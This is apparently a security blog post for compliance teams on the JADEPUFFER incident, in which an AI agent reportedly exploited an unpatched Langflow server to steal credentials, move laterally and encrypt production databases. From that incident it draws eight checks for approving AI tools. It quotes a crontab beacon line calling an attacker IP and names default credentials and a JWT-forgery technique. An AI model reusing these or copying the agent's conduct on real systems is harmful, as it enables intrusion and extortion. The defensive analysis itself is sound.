TL;DR: On July 1, 2026, Sysdig disclosed JADEPUFFER: the first documented end-to-end AI-agent ransomware. The entry point was an unpatched Langflow instance. The LLM agent ran full recon, stole credentials, moved laterally, encrypted 1,342 production database records, and left a Bitcoin ransom note -- without a human directing each step. It self-corrected a failed login in 31 seconds. Eight security checks your AI tool approval process probably skips are now non-negotiable.
The detail that should worry you most is not the encryption. It's the 31 seconds.
When the JADEPUFFER AI agent attempted to create a backdoor administrator account in a target database and the login failed, it did not retry blindly. It diagnosed the exact cause -- a Python subprocess PATH issue that left the bcrypt hash empty -- drafted a corrective payload, deleted the broken account, recreated it with a correctly generated hash, and verified the login. All of that in 31 seconds, with no human in the loop.
That's the operational reality Sysdig's Threat Research Team documented on July 1, 2026 when they disclosed what they assess to be the first end-to-end agentic ransomware attack. JADEPUFFER is not a proof-of-concept. It ran reconnaissance, stole credentials from a live production environment, moved laterally to a separate database server, encrypted 1,342 Nacos configuration records using MySQL's built-in encryption functions, dropped the original tables, and replaced them with a ransom note demanding Bitcoin payment. No step required a skilled human operator directing the attack.
The entry point was Langflow. And Langflow is probably on your vendor approval list right now.
Why your AI vendor approval process didn't catch this
Standard vendor security reviews ask the right questions for traditional SaaS. Does the vendor have SOC 2? What's their data retention policy? Is data encrypted in transit and at rest? Do they have a DPA? Those questions matter, but they're not calibrated to AI orchestration tools.
Langflow is a popular open-source framework for building LLM-driven applications and agent workflows. It's the kind of tool a team deploys quickly -- often on a weekend, often without the same scrutiny as a customer-facing application -- because it's internal, it's open-source, and it feels like infrastructure rather than data. That framing is wrong.
Sysdig's disclosure identifies exactly why: Langflow servers "frequently hold provider API keys and cloud credentials in their environment" and "are often stood up quickly without network controls." JADEPUFFER didn't need to crack encryption. It needed a Langflow instance running CVE-2025-3248 and the default MinIO credentials minioadmin:minioadmin.
The vendor patched CVE-2025-3248 in April 2025. CISA added it to the Known Exploited Vulnerabilities catalog in May 2025. The attack happened in 2026.
8 checks your AI tool approval process needs now
1. CVE patch currency, not just SOC 2
SOC 2 tells you a vendor has security policies. It does not tell you whether that vendor's tool running on your infrastructure has been patched against known critical vulnerabilities.
For any AI tool with a self-hosted or on-premises deployment option, your approval checklist needs: what is the current version? What CVEs affect that version? Has CVE-2025-3248 been patched (if Langflow is in scope)? Who owns the patching cycle for internally-deployed AI tools?
CISA's Known Exploited Vulnerabilities catalog is the right source for this, not the vendor's marketing material. If a CVE is in the KEV catalog and your deployment hasn't patched it, you have a critical gap.
2. Internet exposure audit
Langflow's code execution endpoint should not be reachable from the internet. Neither should n8n's, nor any AI orchestration tool with native code execution capabilities.
The JADEPUFFER attack chain began with CVE-2025-3248 on an internet-facing Langflow instance. If that instance had been behind a VPN or network boundary, the attack vector didn't exist. Ask for every AI tool in your environment: is this reachable from the internet? If yes, why? If the answer is "because it was convenient," that's the risk.
3. Credential isolation
Langflow servers frequently hold LLM provider API keys (OpenAI, Anthropic, Gemini, DeepSeek, cloud credentials for AWS, Azure, GCP) in their environment. JADEPUFFER's first action after gaining execution was to enumerate and harvest credentials across all of these categories simultaneously.
Your AI tool approval process should require that API keys and cloud credentials are stored in a secrets manager -- not in environment variables, not in .env files accessible to the application, not in the tool's own configuration database. Scope secrets so that a compromised AI orchestration layer cannot reach production credentials.
4. Default credential verification
JADEPUFFER accessed a MinIO object store using the documented default credentials minioadmin:minioadmin. It found a credentials.json file in an internal bucket and used it to proceed. It exploited the Nacos authentication bypass (CVE-2021-29441) and forged tokens using the Nacos default JWT signing key, which has been publicly documented since 2020 and shipped unchanged in many deployments.
These are not sophisticated techniques. They're standard security hygiene checks that AI tool deployments often skip because the tools were stood up quickly for internal use.
For any AI-adjacent tool your organization runs: have default credentials been changed? Has the default signing key been rotated? Does the deployment guide note which defaults are security-critical?
5. Network segmentation from production databases
JADEPUFFER used the compromised Langflow instance to pivot to a separate production database server. The pivot was possible because the Langflow host could reach the database server's network.
AI orchestration tools do not need direct access to production databases. If your AI workflow builder can query production data, a compromised AI tool can do the same -- and then encrypt it. Network segmentation between AI infrastructure and production data stores is a hard requirement, not optional.
6. Egress controls
Within minutes of gaining execution, JADEPUFFER installed a crontab entry beaconing to attacker infrastructure every 30 minutes:
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66.106:4444/beacon',timeout=5)"
Before the destructive phase, the agent's own code referenced exfiltrating data to a staging server at 64.20.53.230. If the host cannot beacon to arbitrary external destinations, persistence and exfiltration both fail.
AI tool hosts should have outbound network controls. The list of permitted external destinations should be explicit, not open. An AI orchestration server making outbound connections to arbitrary IPs at 4444 should generate an alert.
7. Scheduled task monitoring
Persistence via crontab is a well-understood technique. It is less well-monitored in AI tool environments than in traditional servers, partly because AI workflow tools often use scheduled tasks for legitimate purposes (regular data pulls, scheduled model runs).
Runtime monitoring for your AI tool infrastructure should baseline what scheduled tasks are expected and alert on new crontab entries that invoke outbound network calls. JADEPUFFER's persistence mechanism was textbook: */30 * * * * with a Python one-liner calling an external IP.
8. Runtime threat detection for machine-speed attack patterns
Traditional security monitoring is calibrated to human-speed attacks. JadePuffer moved from initial access to lateral movement to production database encryption in a compressed window, making corrections and retries within seconds. The window between first detection signal and material damage is measured in seconds, not hours.
This means detection has to happen earlier in the chain -- at the execution layer, not after the database tables are gone. Sysdig notes that JADEPUFFER's own payloads were self-narrating: they contained natural-language commentary explaining why each action was being taken. That self-narration is a detection opportunity. An AI agent enumerating LLM provider API keys, cloud credentials, and cryptocurrency wallets in parallel at the start of a session is not normal application behavior.
AI tool deployments need runtime threat detection capable of identifying anomalous process execution, unusual credential access patterns, and outbound network connections from what should be internal tools.
What the attack means structurally
Sysdig draws two conclusions that matter for anyone approving AI tools today.
First, tradecraft that once required a skilled operator now requires a capable model. JADEPUFFER's attack was technically competent -- Nacos auth bypass, JWT forgery, container escape pre-checks, database encryption -- but none of those techniques were novel. The novelty was the LLM stringing them together without human expertise at each step.
Second, old vulnerabilities are being automated at scale. The JADEPUFFER attack leaned on CVE-2021-29441 (Nacos, 2021), unchanged default JWT signing keys documented since 2020, and MinIO defaults that have been known weaknesses for years. The attack didn't need zero-days. It needed neglected infrastructure and an LLM to work through the historical vulnerability catalog.
For compliance teams, the implication is direct: your AI vendor approval process needs to cover the infrastructure your vendors' tools run on, not just the vendor's own security posture. The tool is the attack surface.
The gap in standard vendor vetting
Most AI vendor approval checklists ask about data processing agreements, encryption standards, SOC 2 status, data retention, and breach notification obligations. Those questions address the vendor's handling of your data under their custody.
They don't address what happens when an internally-deployed AI orchestration tool becomes the attacker's first foothold. Langflow, n8n, and similar tools aren't traditionally thought of as vendor risk -- they're infrastructure the team controls. But when that infrastructure holds production API keys, can reach production databases, and runs code execution endpoints accessible from the internet, it's vendor-equivalent risk that needs vendor-equivalent scrutiny.
The eight checks above apply to any self-hosted AI tool in your environment. They also apply to AI tools your vendors operate on your behalf that sit adjacent to your data infrastructure.
For the AI vendor due diligence checklist framework, add a section for agentic and orchestration tools that asks these eight questions explicitly. The standard DPA and SOC 2 review doesn't reach them.
Related Reading
- AI Vendor Due Diligence Checklist 2026
- AI Red Teaming and Security Testing Requirements 2026
- MCP Server Security Governance Checklist 2026
- TypeScript AI Agent Security Incident Response Playbook 2026
- AI Vendor Contract Red Flags 2026
Sources: Sysdig, "JADEPUFFER: Agentic ransomware for automated database extortion" (July 1, 2026), The Hacker News, "AI Agent Exploits Langflow RCE to Automate Database Ransomware Attack", SecurityWeek, "Agentic AI Used to Conduct Ransomware Attack via Langflow", Dark Reading, "JadePuffer: The First Successful LLM-Driven Ransomware Attack", TechCrunch, "The 'first' AI-run ransomware attack still needed a human", NIST NVD, CVE-2025-3248.
